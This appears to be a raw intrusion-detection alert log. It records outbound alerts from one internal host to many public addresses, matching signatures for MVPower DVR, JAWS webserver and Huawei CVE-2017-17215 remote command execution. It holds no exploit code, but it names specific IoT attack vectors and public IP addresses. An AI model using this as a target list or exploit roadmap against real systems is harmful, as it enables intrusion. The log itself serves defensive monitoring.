ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 43.251.157.77

Timestamp:	03/13/24-09:36:41.349114
SID:	2025883
Source Port:	57062
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.59.14.79

Timestamp:	03/13/24-09:36:45.946887
SID:	2030092
Source Port:	58670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 142.58.28.135

Timestamp:	03/13/24-09:35:59.098483
SID:	2030092
Source Port:	41682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 187.103.57.101

Timestamp:	03/13/24-09:36:23.891635
SID:	2025883
Source Port:	60504
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 128.59.28.147

Timestamp:	03/13/24-09:35:28.516573
SID:	2030092
Source Port:	48330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 140.248.140.53

Timestamp:	03/13/24-09:35:53.152604
SID:	2030092
Source Port:	35320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.208.190.247

Timestamp:	03/13/24-09:36:20.286319
SID:	2030092
Source Port:	47598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 170.80.156.128

Timestamp:	03/13/24-09:36:45.778288
SID:	2030092
Source Port:	37330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.94.21.192

Timestamp:	03/13/24-09:36:45.949873
SID:	2025883
Source Port:	34452
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 109.61.93.34

Timestamp:	03/13/24-09:36:49.079918
SID:	2030092
Source Port:	53770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 67.199.102.71

Timestamp:	03/13/24-09:35:53.301963
SID:	2030092
Source Port:	55944
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 120.96.79.253

Timestamp:	03/13/24-09:36:16.700991
SID:	2030092
Source Port:	58982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 13.113.48.164

Timestamp:	03/13/24-09:35:49.385754
SID:	2025883
Source Port:	49296
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.1.60.81

Timestamp:	03/13/24-09:36:17.075900
SID:	2025883
Source Port:	37368
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.212.43.112

Timestamp:	03/13/24-09:35:42.086628
SID:	2030092
Source Port:	51034
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 124.223.47.85

Timestamp:	03/13/24-09:35:51.547302
SID:	2030092
Source Port:	47608
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 184.27.103.186

Timestamp:	03/13/24-09:35:26.283404
SID:	2030092
Source Port:	52516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 83.99.176.150

Timestamp:	03/13/24-09:35:30.059951
SID:	2030092
Source Port:	33632
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.109.170.102

Timestamp:	03/13/24-09:36:45.750110
SID:	2030092
Source Port:	53868
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.17.238.114

Timestamp:	03/13/24-09:36:16.233636
SID:	2030092
Source Port:	59258
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.21.27.15

Timestamp:	03/13/24-09:35:17.967721
SID:	2030092
Source Port:	60834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 194.135.104.214

Timestamp:	03/13/24-09:35:58.289021
SID:	2025883
Source Port:	48644
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 112.90.88.154

Timestamp:	03/13/24-09:36:03.598746
SID:	2030092
Source Port:	38756
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.38.201.46

Timestamp:	03/13/24-09:36:26.235282
SID:	2025883
Source Port:	35536
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 87.236.19.186

Timestamp:	03/13/24-09:36:29.264359
SID:	2030092
Source Port:	44452
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.81.41.163

Timestamp:	03/13/24-09:36:41.640276
SID:	2030092
Source Port:	55998
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.160.166.46

Timestamp:	03/13/24-09:36:06.161937
SID:	2030092
Source Port:	34266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 37.16.12.162

Timestamp:	03/13/24-09:35:03.983957
SID:	2025883
Source Port:	58432
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 57.180.159.193

Timestamp:	03/13/24-09:36:20.437171
SID:	2030092
Source Port:	45372
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 137.117.70.192

Timestamp:	03/13/24-09:36:20.883792
SID:	2030092
Source Port:	33112
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 154.212.209.149

Timestamp:	03/13/24-09:35:26.252020
SID:	2025883
Source Port:	48806
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.207.25.72

Timestamp:	03/13/24-09:36:55.479394
SID:	2030092
Source Port:	34902
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.222.178.99

Timestamp:	03/13/24-09:35:30.032681
SID:	2030092
Source Port:	40234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.212.43.112

Timestamp:	03/13/24-09:35:42.086628
SID:	2025883
Source Port:	51034
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 159.192.227.190

Timestamp:	03/13/24-09:36:55.581578
SID:	2025883
Source Port:	33906
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 43.251.157.77

Timestamp:	03/13/24-09:36:41.349114
SID:	2030092
Source Port:	57062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 152.0.241.23

Timestamp:	03/13/24-09:36:49.124578
SID:	2030092
Source Port:	52346
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.224.11.234

Timestamp:	03/13/24-09:36:12.499031
SID:	2835222
Source Port:	60620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 51.158.200.225

Timestamp:	03/13/24-09:36:16.069653
SID:	2030092
Source Port:	41842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 47.254.199.123

Timestamp:	03/13/24-09:36:37.769147
SID:	2025883
Source Port:	50160
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 179.57.172.65

Timestamp:	03/13/24-09:36:29.419922
SID:	2025883
Source Port:	54234
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.23.101.28

Timestamp:	03/13/24-09:35:48.906126
SID:	2030092
Source Port:	45276
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 186.211.165.86

Timestamp:	03/13/24-09:35:56.238444
SID:	2025883
Source Port:	47958
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 61.160.202.82

Timestamp:	03/13/24-09:36:31.635191
SID:	2025883
Source Port:	41786
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 121.152.67.252

Timestamp:	03/13/24-09:36:48.530022
SID:	2030092
Source Port:	47130
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.86.53.229

Timestamp:	03/13/24-09:36:29.222483
SID:	2025883
Source Port:	60564
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 38.25.44.98

Timestamp:	03/13/24-09:36:23.862209
SID:	2030092
Source Port:	35752
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 156.245.113.68

Timestamp:	03/13/24-09:36:03.388630
SID:	2030092
Source Port:	59128
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 103.121.18.245

Timestamp:	03/13/24-09:35:22.569967
SID:	2025883
Source Port:	59100
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 108.232.5.11

Timestamp:	03/13/24-09:36:21.206301
SID:	2025883
Source Port:	53224
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 66.108.248.184

Timestamp:	03/13/24-09:36:37.554782
SID:	2030092
Source Port:	42804
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.79.35.188

Timestamp:	03/13/24-09:36:38.339928
SID:	2030092
Source Port:	53214
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 217.182.218.160

Timestamp:	03/13/24-09:36:03.064430
SID:	2025883
Source Port:	53456
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 103.101.153.183

Timestamp:	03/13/24-09:35:20.221016
SID:	2025883
Source Port:	58596
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.197.77.7

Timestamp:	03/13/24-09:35:14.755935
SID:	2030092
Source Port:	37710
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.140.93.140

Timestamp:	03/13/24-09:36:23.835744
SID:	2030092
Source Port:	34520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 121.152.67.252

Timestamp:	03/13/24-09:36:49.229516
SID:	2025883
Source Port:	47122
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 218.90.121.169

Timestamp:	03/13/24-09:36:55.393920
SID:	2025883
Source Port:	52544
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 112.90.88.154

Timestamp:	03/13/24-09:36:03.598746
SID:	2025883
Source Port:	38756
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.160.166.46

Timestamp:	03/13/24-09:36:06.161937
SID:	2025883
Source Port:	34266
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 51.158.200.225

Timestamp:	03/13/24-09:36:16.069653
SID:	2025883
Source Port:	41842
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 65.9.69.92

Timestamp:	03/13/24-09:36:02.736882
SID:	2025883
Source Port:	59220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 211.105.120.3

Timestamp:	03/13/24-09:36:06.605378
SID:	2025883
Source Port:	60540
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 54.86.191.6

Timestamp:	03/13/24-09:36:06.238033
SID:	2025883
Source Port:	60220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 170.75.210.35

Timestamp:	03/13/24-09:36:23.995523
SID:	2025883
Source Port:	52552
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 170.80.156.128

Timestamp:	03/13/24-09:36:45.778288
SID:	2025883
Source Port:	37330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 62.234.239.110

Timestamp:	03/13/24-09:36:07.415525
SID:	2030092
Source Port:	47762
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 188.217.114.71

Timestamp:	03/13/24-09:36:46.016739
SID:	2025883
Source Port:	39392
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 4.249.186.195

Timestamp:	03/13/24-09:35:58.159217
SID:	2030092
Source Port:	33460
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 194.135.104.214

Timestamp:	03/13/24-09:35:58.289021
SID:	2030092
Source Port:	48644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 116.205.75.203

Timestamp:	03/13/24-09:35:41.293196
SID:	2030092
Source Port:	58618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.197.97.121

Timestamp:	03/13/24-09:36:38.184058
SID:	2030092
Source Port:	53550
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 207.231.46.96

Timestamp:	03/13/24-09:36:06.170953
SID:	2030092
Source Port:	57032
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.205.52.170

Timestamp:	03/13/24-09:35:27.990115
SID:	2030092
Source Port:	58730
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 138.201.139.232

Timestamp:	03/13/24-09:36:12.612824
SID:	2030092
Source Port:	48888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 140.248.140.53

Timestamp:	03/13/24-09:35:53.152604
SID:	2025883
Source Port:	35320
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 67.199.102.71

Timestamp:	03/13/24-09:35:53.301963
SID:	2025883
Source Port:	55944
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 51.171.238.86

Timestamp:	03/13/24-09:35:45.372522
SID:	2025883
Source Port:	57820
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 207.194.62.174

Timestamp:	03/13/24-09:35:58.188242
SID:	2030092
Source Port:	34504
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 198.72.103.62

Timestamp:	03/13/24-09:36:42.119848
SID:	2030092
Source Port:	55708
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 184.27.103.186

Timestamp:	03/13/24-09:35:26.283404
SID:	2025883
Source Port:	52516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 27.96.211.16

Timestamp:	03/13/24-09:36:56.464989
SID:	2025883
Source Port:	39150
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 124.156.145.146

Timestamp:	03/13/24-09:36:12.921946
SID:	2030092
Source Port:	54982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 154.212.209.149

Timestamp:	03/13/24-09:35:26.252020
SID:	2030092
Source Port:	48806
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.116.252.180

Timestamp:	03/13/24-09:36:41.394142
SID:	2025883
Source Port:	54002
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 45.32.242.182

Timestamp:	03/13/24-09:36:51.109520
SID:	2025883
Source Port:	39038
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 218.90.121.169

Timestamp:	03/13/24-09:36:55.393920
SID:	2030092
Source Port:	52544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.23.101.28

Timestamp:	03/13/24-09:35:48.906126
SID:	2025883
Source Port:	45276
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 92.117.151.104

Timestamp:	03/13/24-09:35:03.425144
SID:	2025883
Source Port:	60192
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 37.53.56.73

Timestamp:	03/13/24-09:35:38.175079
SID:	2025883
Source Port:	34812
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.90.169

Timestamp:	03/13/24-09:35:53.367183
SID:	2829579
Source Port:	38884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 20.242.39.121

Timestamp:	03/13/24-09:35:26.045958
SID:	2030092
Source Port:	38024
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.32.127.47

Timestamp:	03/13/24-09:35:14.766475
SID:	2030092
Source Port:	51272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.204.240.54

Timestamp:	03/13/24-09:36:35.280223
SID:	2030092
Source Port:	53750
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.227.231.156

Timestamp:	03/13/24-09:36:38.105875
SID:	2030092
Source Port:	57514
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 217.239.255.141

Timestamp:	03/13/24-09:36:48.525118
SID:	2025883
Source Port:	47100
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.207.25.72

Timestamp:	03/13/24-09:36:55.479394
SID:	2025883
Source Port:	34902
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 154.201.66.244

Timestamp:	03/13/24-09:36:49.418306
SID:	2025883
Source Port:	53428
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 156.245.113.68

Timestamp:	03/13/24-09:36:03.388630
SID:	2025883
Source Port:	59128
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 172.232.72.5

Timestamp:	03/13/24-09:36:59.171759
SID:	2025883
Source Port:	44636
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 204.116.176.183

Timestamp:	03/13/24-09:35:23.347505
SID:	2025883
Source Port:	53880
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 103.240.146.109

Timestamp:	03/13/24-09:35:49.413983
SID:	2030092
Source Port:	37622
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.27.121.82

Timestamp:	03/13/24-09:36:41.234949
SID:	2030092
Source Port:	57064
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 46.36.222.144

Timestamp:	03/13/24-09:35:56.221083
SID:	2025883
Source Port:	42206
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 108.232.5.11

Timestamp:	03/13/24-09:36:21.206301
SID:	2030092
Source Port:	53224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 51.171.238.86

Timestamp:	03/13/24-09:35:45.372522
SID:	2030092
Source Port:	57820
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 185.59.228.91

Timestamp:	03/13/24-09:36:32.211904
SID:	2025883
Source Port:	52780
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.126.229.54

Timestamp:	03/13/24-09:35:28.020397
SID:	2030092
Source Port:	49646
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.0.203.213

Timestamp:	03/13/24-09:35:23.386030
SID:	2025883
Source Port:	57492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 124.156.145.146

Timestamp:	03/13/24-09:36:12.921946
SID:	2025883
Source Port:	54982
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 217.239.255.141

Timestamp:	03/13/24-09:36:48.525118
SID:	2030092
Source Port:	47100
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 198.72.103.62

Timestamp:	03/13/24-09:36:42.119848
SID:	2025883
Source Port:	55708
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 27.96.211.16

